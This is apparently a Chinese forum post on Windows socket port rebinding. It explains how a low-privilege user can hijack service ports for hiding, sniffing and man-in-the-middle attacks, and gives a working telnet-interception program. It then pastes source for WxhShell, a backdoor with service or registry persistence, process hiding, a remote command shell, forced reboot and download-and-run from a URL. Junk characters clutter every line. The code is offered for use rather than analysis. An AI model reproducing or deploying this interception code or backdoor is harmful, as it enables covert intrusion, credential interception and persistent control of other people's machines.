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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [Q)lJTs  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C#(4>'  
V" I+E  
  saddr.sin_family = AF_INET; QarA.Ne~  
RM,r0Kv17Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A`IE8@&Z'  
!30BZM^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K47W7zR  
(]rtBeT  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %<K`d  
c^I_~OwaE  
  这意味着什么?意味着可以进行如下的攻击: voCQ_~*)9  
EpS"NQEe  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 YwEXTy>0  
)x#^fN~ 7`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \Z<' u;  
J,k9?nkY /  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5^[V%4y>  
WG< D+P  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y1f&+y9e  
zZseK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8L.Y0_x  
]M>mwnt+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 N3i}>Q)B  
1[/X$DyaK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 H$WuT;cTE  
7 zK%CJ  
  #include l[.RnM[v  
  #include 6wfCC,2  
  #include i9uJ%nd:  
  #include    |no '^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *cJ GrLC  
  int main() HLa|yc B%  
  { ,M5J~Ga  
  WORD wVersionRequested; T+RfMEdr  
  DWORD ret; ;L++H5Kz6  
  WSADATA wsaData; Kp8!^os  
  BOOL val; ;E(%s=i  
  SOCKADDR_IN saddr; vY:A7yGW  
  SOCKADDR_IN scaddr; sZ7{_}B  
  int err; EnZrnoGM  
  SOCKET s; %YA=W=Yd  
  SOCKET sc; 4w\cS&X~C  
  int caddsize; 4)i/B99k  
  HANDLE mt; /N]?>[<NW  
  DWORD tid;   Tw);`&Ulo  
  wVersionRequested = MAKEWORD( 2, 2 ); 1]m]b4]  
  err = WSAStartup( wVersionRequested, &wsaData ); M+9G^o)u  
  if ( err != 0 ) { Whod_Uk  
  printf("error!WSAStartup failed!\n"); 2t*@P"e!  
  return -1; "\U$aaF  
  } o"J}@nF  
  saddr.sin_family = AF_INET; O8r9&Nv  
   w SBDJvI  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v 4DF #O  
c{7!:hi`x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %5NfF65'  
  saddr.sin_port = htons(23); TnCN2#BO  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l+Uy  
  { >y &9!G  
  printf("error!socket failed!\n"); k7W7S`H  
  return -1; AMGb6enl  
  } ]8<;,}#  
  val = TRUE; $-EbJ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 he;&KzEu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) MkF:1-=L  
  { p{[Ol  
  printf("error!setsockopt failed!\n"); *O+G}_}  
  return -1; /MO|q  
  } nPD5/xW  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; rB~x]5TH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Yu>VW\Fb  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8S"vRR  
:"#EQq]ct  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) S1.w^Ccy  
  { 49E<`f0  
  ret=GetLastError(); wWQv]c%  
  printf("error!bind failed!\n"); '!I^Lfz-Z  
  return -1; FcB]wz  
  } #%rXDGDS  
  listen(s,2); M8oI8\6[  
  while(1) H~^am  
  { KW ]/u  
  caddsize = sizeof(scaddr); 4#{i  
  //接受连接请求 dd@qk`Zl&A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 06|+ _  
  if(sc!=INVALID_SOCKET) ]g2Y/\)a  
  { ]'3e#Cqeh  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E9!u|&$S  
  if(mt==NULL) y+hC !-  
  { $WI=a-;_e  
  printf("Thread Creat Failed!\n"); nb9qVuAGU  
  break; ^w/_hY!4/  
  }  K!VIY|U  
  } A]id*RtY  
  CloseHandle(mt); *tC]Z&5  
  } &.,ZU\`zT  
  closesocket(s); >jD,%yG  
  WSACleanup(); KWq7M8mq  
  return 0; K3Zc>QL{  
  }   4W &HUQ?^  
  DWORD WINAPI ClientThread(LPVOID lpParam) CqDKQQ  
  { /p+ (_Y  
  SOCKET ss = (SOCKET)lpParam; 7@NAky(  
  SOCKET sc; 7aUk?Hf  
  unsigned char buf[4096]; {+_ pyL  
  SOCKADDR_IN saddr; ^Qt4}V=  
  long num; {f3&s4xj=  
  DWORD val; VHGOVH,  
  DWORD ret; Hr |De8#f  
  //如果是隐藏端口应用的话,可以在此处加一些判断 k>I[U}h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2| $  
  saddr.sin_family = AF_INET; mf ^=tZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B`3RyM"J@  
  saddr.sin_port = htons(23); /ldE (!^n  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dq}60  
  { fOs"\Y4  
  printf("error!socket failed!\n"); #Cks&[!c  
  return -1; +P2f<~  
  } X YO09#>&  
  val = 100; 5-3`@ (/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]PJb 9$f2  
  { UE^_SZ  
  ret = GetLastError(); JY8wo5H  
  return -1; Fsv:SL+5  
  } c+|,q m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !VUxy  
  { AQ:cim `  
  ret = GetLastError(); 0hnTHlk  
  return -1; :SjTkfU  
  } ;$gZ?&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) phr6@TI  
  { #K:|@d  
  printf("error!socket connect failed!\n"); `@eo <6  
  closesocket(sc); P{v>o,a.  
  closesocket(ss); ;`Eie2y{M  
  return -1; !g{9]"Z1T  
  } f|G,pDL x  
  while(1) <8nl}^d5  
  { FjYih>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %y ;E1pva  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (jv!q@@2C.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ta^l1]9.*  
  num = recv(ss,buf,4096,0); chv0\k"'  
  if(num>0) N% /if  
  send(sc,buf,num,0); ~= qJSb  
  else if(num==0) m2{3j[  
  break; i j&_>   
  num = recv(sc,buf,4096,0); p_T>"v  
  if(num>0) '# K:e  
  send(ss,buf,num,0); o%_MTCANy  
  else if(num==0) eq +t%  
  break; 1~/?W^ir  
  } vcTWe$;Q  
  closesocket(ss); q y"VrR  
  closesocket(sc); Sp8Xka~5*#  
  return 0 ; oxT..=-  
  } h >V8YJ  
O]rAo  
#n&/yYl9(l  
========================================================== CMn&1  
| d}f\a`  
下边附上一个代码,,WXhSHELL dXR 70/  
GjlA\R^e  
========================================================== P[{qp8(g  
}? j>V  
#include "stdafx.h" aN9#ATE  
/c/t_xB  
#include <stdio.h> wG6@. ;3  
#include <string.h> 3";Rw9  
#include <windows.h> $@k[Xh  
#include <winsock2.h> 8;2UP`8s?  
#include <winsvc.h> *c'nPa$+|S  
#include <urlmon.h> j. UQLi&`  
NMq#D$T  
#pragma comment (lib, "Ws2_32.lib") <%WN<T{q|  
#pragma comment (lib, "urlmon.lib") Z@ AHe`A  
$t.i)wg +  
#define MAX_USER   100 // 最大客户端连接数 ^3B)i=  
#define BUF_SOCK   200 // sock buffer &<8Q/m]5  
#define KEY_BUFF   255 // 输入 buffer F ^& Rg  
<X9  T}g  
#define REBOOT     0   // 重启 {.c(Sw}Eo  
#define SHUTDOWN   1   // 关机 <-KHy`u  
oL?(; `"&  
#define DEF_PORT   5000 // 监听端口 tj:3R$a  
ANB@cK_  
#define REG_LEN     16   // 注册表键长度 \\;i  
#define SVC_LEN     80   // NT服务名长度 242dT/j  
z~tCag8I(k  
// 从dll定义API rUZRYF4C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Pp-\#WJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ie4keVlXc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9$[I~I#z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lR] z8 &  
g$C-G5/bjD  
// wxhshell配置信息 `CCuwe<v  
struct WSCFG { aRFLh  
  int ws_port;         // 监听端口  !]]QbB  
  char ws_passstr[REG_LEN]; // 口令 ;M,u,KH)/  
  int ws_autoins;       // 安装标记, 1=yes 0=no C? pi8Xg  
  char ws_regname[REG_LEN]; // 注册表键名 +-_71rJc.  
  char ws_svcname[REG_LEN]; // 服务名 J[E_n;d1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {z)&=v@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u{Jv6K,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cI}qMc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W_k;jy_{9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4.]xK2sW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yKE[,"  
\~V Z Y  
}; kO3{2$S6  
!e~Yp0gX#  
// default Wxhshell configuration K:PzR,nn  
struct WSCFG wscfg={DEF_PORT, Z9cg,#(D  
    "xuhuanlingzhe", [e1kfw  
    1, Hg)5c!F7  
    "Wxhshell", zh5'oE&[yC  
    "Wxhshell", fQ>=\*b9x^  
            "WxhShell Service", X r7pFw  
    "Wrsky Windows CmdShell Service", '[u=q -Lv  
    "Please Input Your Password: ", VayU   
  1, /18Z4TA  
  "http://www.wrsky.com/wxhshell.exe", R#j -Z#/"  
  "Wxhshell.exe" rMDo5Z2  
    }; Hya  ";'  
<~aQ_l  
// 消息定义模块  _@es9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K:}~8 P>^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^/;W;C{4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HI}$Z =C  
char *msg_ws_ext="\n\rExit."; BR8W8nRb  
char *msg_ws_end="\n\rQuit."; $HjKELoJ<  
char *msg_ws_boot="\n\rReboot..."; cSdkhRAn  
char *msg_ws_poff="\n\rShutdown..."; CPRv"T;?  
char *msg_ws_down="\n\rSave to "; 4%l @   
emZ^d/A  
char *msg_ws_err="\n\rErr!"; En@] xvE  
char *msg_ws_ok="\n\rOK!"; 1rhsmcE  
1d4 9z9F  
char ExeFile[MAX_PATH]; @8zp(1.  
int nUser = 0; @V$,H/v:  
HANDLE handles[MAX_USER]; C+ {du^c$  
int OsIsNt;  U)oH@/q  
.<`W2*1  
SERVICE_STATUS       serviceStatus; )c9]}:W&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5 `:+NwXS2  
u15-|i{y7  
// 函数声明 oicett=5  
int Install(void); P3[+c4  
int Uninstall(void); HVb9YU+  
int DownloadFile(char *sURL, SOCKET wsh); h&|wqna  
int Boot(int flag); }z/;^``  
void HideProc(void); o`^GUY}  
int GetOsVer(void); H^jFvAI,8  
int Wxhshell(SOCKET wsl); (s?`*i:2  
void TalkWithClient(void *cs); ?h`Ned0P  
int CmdShell(SOCKET sock); ] iKFEd  
int StartFromService(void); BKoc;20;  
int StartWxhshell(LPSTR lpCmdLine); e@k`C{{C]o  
/m,0H)w1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _!FM^N}|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TmS;ybsG  
+3VDapfin  
// 数据结构和表定义 _Q<wb8+/  
SERVICE_TABLE_ENTRY DispatchTable[] = p%304oP6  
{ zG z^T  
{wscfg.ws_svcname, NTServiceMain}, :SxOQ(n  
{NULL, NULL} ]h (TZu  
}; u7|{~D&f  
e2#"o{+@  
// 自我安装 75Xi%mlE7  
int Install(void) XQEGMaZ  
{ LS:3Dtq  
  char svExeFile[MAX_PATH]; MWSx8R)PN  
  HKEY key; 3Rid 1;L0U  
  strcpy(svExeFile,ExeFile); jE)&`yZ5  
$cO"1mu  
// 如果是win9x系统,修改注册表设为自启动 aubmA0 w  
if(!OsIsNt) { DbSl}N;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k*bfq?E a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G~ZDXQ>5CP  
  RegCloseKey(key); yjvH)t/!.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hfer\+RX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^G63GYh]y  
  RegCloseKey(key); DM6oMT  
  return 0; o/I<)sa  
    } fShf4G_w\  
  } o{*8l#x8  
} pL$UI3VCP  
else { OwIW;8Z  
I`h9P2~  
// 如果是NT以上系统,安装为系统服务 )Q 8T`Tly  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IY|;}mIF  
if (schSCManager!=0) W5-p0,?[6  
{ @aR!  -}  
  SC_HANDLE schService = CreateService 02X~' To"  
  ( *AXu_^^  
  schSCManager, bAeN>~WvY  
  wscfg.ws_svcname, SsjO1F  
  wscfg.ws_svcdisp, qE6:`f  
  SERVICE_ALL_ACCESS, ie$QKoE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8?']W\)  
  SERVICE_AUTO_START, 52B ye   
  SERVICE_ERROR_NORMAL, hCO*gtA)M  
  svExeFile, oS)0,p  
  NULL, *BVkviqxz  
  NULL, ).eT~e Gj  
  NULL, sm}q&m]ad  
  NULL, {+f@7^/i.  
  NULL uF>I0J#z?  
  ); =SLP}bP{:  
  if (schService!=0) /LhAQpUQT5  
  { XgKtg-,  
  CloseServiceHandle(schService); 5VWXUNe@_q  
  CloseServiceHandle(schSCManager); \()\pp~4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z Q NL){  
  strcat(svExeFile,wscfg.ws_svcname); &0TOJ:RP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rWbuoG+8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !lE (!d3M  
  RegCloseKey(key); ,_`\c7@  
  return 0; KdF QlQaj  
    } @Z!leyam  
  } [(tgoh/  
  CloseServiceHandle(schSCManager); AO;`k]0e  
} ZZTPAmIr  
} IoNZ'g?d  
T3['6%  
return 1; 3y>.1  
} , j ,[4^  
>H@ dgb  
// 自我卸载 }M f}gCEW  
int Uninstall(void) Ig1cf9 :  
{ H;,cUb  
  HKEY key; 5(>m=ef"  
,*0>CBJvv  
if(!OsIsNt) { xk86?2b{)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mKZ?H$E%%  
  RegDeleteValue(key,wscfg.ws_regname); EA75 D&>I  
  RegCloseKey(key); _6qf>=qQ`"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BW:&AP@B  
  RegDeleteValue(key,wscfg.ws_regname); 8E/$nRfO d  
  RegCloseKey(key); AEK* w4  
  return 0; c[<lr  
  } [w~teX0!  
} N;D (_:^  
} e~J% NU'&  
else { q=bJ9iJsq  
qsFA~{o.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oypq3V=5  
if (schSCManager!=0) MLmc]nL=  
{ }*$-rieg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ".v9#|  
  if (schService!=0) >U"f1q*$  
  { .x6*9z#q  
  if(DeleteService(schService)!=0) { +n9&q#ah  
  CloseServiceHandle(schService); +d\"n  
  CloseServiceHandle(schSCManager); 1SkGG0 W  
  return 0; BmUEo$w  
  } 4cJ^L <  
  CloseServiceHandle(schService); 9`.b   
  } 65ijzZL;  
  CloseServiceHandle(schSCManager); (T n*;Xjq  
} 9{i6g+  
} \ ;Hj,z\  
>?M:oUVDU  
return 1; #x#.@  
} $a\q<fN}  
wx(| $2{h  
// 从指定url下载文件 NNutpA}s  
int DownloadFile(char *sURL, SOCKET wsh) x:;8U i"&B  
{ UOF5&>MLb  
  HRESULT hr; S~YrXQ{_>-  
char seps[]= "/"; nP'ab_>b  
char *token; (5-"5<-@R  
char *file; `;*=2M<c  
char myURL[MAX_PATH]; XnWr~h{b  
char myFILE[MAX_PATH]; {FQ dDIj#  
oX3Q9)  
strcpy(myURL,sURL); xi;SKv;p  
  token=strtok(myURL,seps); B_`A[0H  
  while(token!=NULL) p(nC9NGB  
  { - K}@Gp  
    file=token; +?MjY[8j  
  token=strtok(NULL,seps); BEPDyy  
  } } 5OlX  
Podm 3b  
GetCurrentDirectory(MAX_PATH,myFILE); +qpD>5#  
strcat(myFILE, "\\"); ~ ;)@a  
strcat(myFILE, file); $g#X9/+<  
  send(wsh,myFILE,strlen(myFILE),0); .eZ4?|at.F  
send(wsh,"...",3,0); jc;&g)Rv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OD>-^W t;%  
  if(hr==S_OK) ; {I{X}b  
return 0; rVQ:7\=Z  
else JEY%(UR8  
return 1; sF_.9G)S0  
"TtK!>!.  
} a+\ Gz  
QHMXQyr(  
// 系统电源模块 ~DqNA%Mb  
int Boot(int flag) o1zc`Ibd  
{ K* [cJcY+  
  HANDLE hToken; _sZ/tU@_-K  
  TOKEN_PRIVILEGES tkp; F1Egcx/$V  
t47 f$gq  
  if(OsIsNt) { 34JkB+#a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5?9}^s4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Vl^jTX5N  
    tkp.PrivilegeCount = 1; [p4a\Qg0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s}|IRDpp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *i5&x/ds  
if(flag==REBOOT) { P|HY=RM a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h]@Xucc  
  return 0; @!%<JZEz3  
} e yTYg  
else { Kh<v2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;1{S"UY  
  return 0; N@Slc 0  
} %l: %c  
  } v~uwQ&AH  
  else { JEJ] '3  
if(flag==REBOOT) { !S(jT?'w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Bu!Gy8\  
  return 0; CoJaVLl  
} dP)8T  
else { pVbX#3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h3@mN\=h'  
  return 0; n=rPFp RLF  
} *%Gy-5hM  
} fM S-  
0pkU1t~9  
return 1; Mv4JF(,S  
} Qt>yRt  
8VMq>-  
// win9x进程隐藏模块 .V/TVz!b  
void HideProc(void) ^o?.Rph|i]  
{ ctt5t  
;C{ 2*0"H|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u =rY  
  if ( hKernel != NULL ) S'E6#   
  { 3kYUO-qw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /jj}.X7yH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [&+wW  
    FreeLibrary(hKernel); p' /$)klt  
  } >2VB.f  
d8]6<\g  
return; #+Vvf  
} JvHJ*E   
>b{%j8u M  
// 获取操作系统版本 ;Kkn7&'F  
int GetOsVer(void) :4Q_\'P  
{ BIcE3}dS8  
  OSVERSIONINFO winfo; b GwLfU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PjsQ+5[>  
  GetVersionEx(&winfo); %j^=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /}M@ @W  
  return 1; f0wQn09  
  else v`Sllv5bV  
  return 0; x]a>Q),  
} \n<N>j@3  
gvy%`SSW  
// 客户端句柄模块 I9>1WT<Yy  
int Wxhshell(SOCKET wsl) 5[/ *UtB  
{ Y=}b/[s6;  
  SOCKET wsh; t}'Oh}CG  
  struct sockaddr_in client; [%QJ6  
  DWORD myID; ;! CQFJ=  
kk!}mbA_}  
  while(nUser<MAX_USER) 2^qY, dL  
{ 7~|o_T  
  int nSize=sizeof(client); +8BH%f}X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z#4? /'  
  if(wsh==INVALID_SOCKET) return 1; fep#Kb%"e  
U8< GD|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &NGlkn  
if(handles[nUser]==0) @.CPZT  
  closesocket(wsh); `86 9XE  
else =euoSH D}  
  nUser++; Sl 6}5  
  } &+*jTE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '>`bp25>  
AV&W&$  
  return 0; KtV_DjH:  
} ]Ff&zBJ  
^'FY!^dE  
// 关闭 socket F*I{?NRN1  
void CloseIt(SOCKET wsh) .` ,YUr$.  
{ %?RX}37K  
closesocket(wsh); Q*KEODR8\  
nUser--; VK ?,8Y  
ExitThread(0); ,GR(y^S  
} C=hE@  
M:C*?;K:  
// 客户端请求句柄 KZDB\T  
void TalkWithClient(void *cs) TR: D  
{  "&C'K  
&1B)mj  
  SOCKET wsh=(SOCKET)cs; .6.oqb  
  char pwd[SVC_LEN]; DUW;G9LP$-  
  char cmd[KEY_BUFF]; u4.-AY {  
char chr[1]; c]xpp;%]  
int i,j; KgKV(q=  
o'D6lkf0  
  while (nUser < MAX_USER) { 0V`/oaW;  
TH6g:YP`7  
if(wscfg.ws_passstr) { 6dg[   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NrL%]dl3/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U'lrdc"Q  
  //ZeroMemory(pwd,KEY_BUFF); wetkmd  
      i=0; j4brDlo?@  
  while(i<SVC_LEN) { l"ih+%S  
(dO4ww@O  
  // 设置超时 Ye1P5+W(  
  fd_set FdRead; [_H9l)  
  struct timeval TimeOut; $9ON 3>  
  FD_ZERO(&FdRead); /wvA]ooT  
  FD_SET(wsh,&FdRead); nTYqZlI,  
  TimeOut.tv_sec=8; }-8K*A3  
  TimeOut.tv_usec=0; XPX{c|]>.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |4-Ey! P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ] >`Q"g~0  
T]E$H, p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qtgj"4,:`  
  pwd=chr[0]; v3@)q0@  
  if(chr[0]==0xd || chr[0]==0xa) { 1 k H  
  pwd=0; zHu:Ec7  
  break; ~8|$KD4I  
  } ][qZOIk@  
  i++; &|9?B!,`  
    } 1` 9/[2z  
rVf`wJ6b  
  // 如果是非法用户,关闭 socket 9$d (`-&9p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L!e@T'  
} 78NAcP~6c  
"w_(p|cm=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;l?>+m@H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -G*u2i_*  
<vbk@d  
while(1) { hr)TC-  
!TG"AW  
  ZeroMemory(cmd,KEY_BUFF); 8K1+ttjm  
wBmbn=>#S  
      // 自动支持客户端 telnet标准    ExnszFX*  
  j=0; Wje7fv  
  while(j<KEY_BUFF) { (1TYJ. Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1bvL  
  cmd[j]=chr[0]; {O!fV<Vx 9  
  if(chr[0]==0xa || chr[0]==0xd) { Cf%)W:Q9  
  cmd[j]=0; L(X:=) !K0  
  break; s!UC{)g,  
  } dn5T7a~   
  j++; 9Uk9TG5  
    } V#sANi?mpo  
Q2k\8i  
  // 下载文件 7GPBn}{W  
  if(strstr(cmd,"http://")) { oTfEX4 t {  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %7L'2/Y2x  
  if(DownloadFile(cmd,wsh)) ~}TVM%0RTq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 57r\s 8  
  else \w`Il"}V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +LX&1GX  
  } ok[R`99  
  else { 4#=^YuKaF1  
9^jO^[>  
    switch(cmd[0]) { [c3hwogf:  
  SUvHLOA  
  // 帮助 ^TB%| yZ _  
  case '?': { EcP"GO5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eQYW>z'%,  
    break; XFM6.ye  
  } QMkLAZ  
  // 安装 67f#Z&r2k  
  case 'i': { O-:~6A  
    if(Install()) /S|Pq!4<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W]reQ&<Z  
    else zJ@f {RWZa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )b5MP1H  
    break; a0.)zgWr  
    } L x(Y=  
  // 卸载 <hS >L1ZSr  
  case 'r': { 9BHl 2<&V  
    if(Uninstall()) @3b0hi4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uT;9xV%ch  
    else \N;s@j W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TrHBbyqk  
    break; PRf2@0ZV  
    } \d v9:X$  
  // 显示 wxhshell 所在路径 Aja'`Mu  
  case 'p': { k.0$~juu  
    char svExeFile[MAX_PATH]; |n* I}w^  
    strcpy(svExeFile,"\n\r"); b/<n:*$   
      strcat(svExeFile,ExeFile); #mtlgK'  
        send(wsh,svExeFile,strlen(svExeFile),0); -+c_TJ.dC  
    break; -vhgBru  
    } @0t,vye  
  // 重启 JJ[J'xl@  
  case 'b': { q}+9$v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VE{t]>*-u  
    if(Boot(REBOOT)) \t )Zk2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c)lMi}/  
    else { CJ%7M`zy  
    closesocket(wsh); Tw|=;m  
    ExitThread(0); KS%xo6k.  
    } zJtYy4jI)  
    break; -LQ%)'J ZN  
    } 'fZHtnmc0  
  // 关机 {AQ3y,sh  
  case 'd': { 1uS _]59=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4xg%OH  
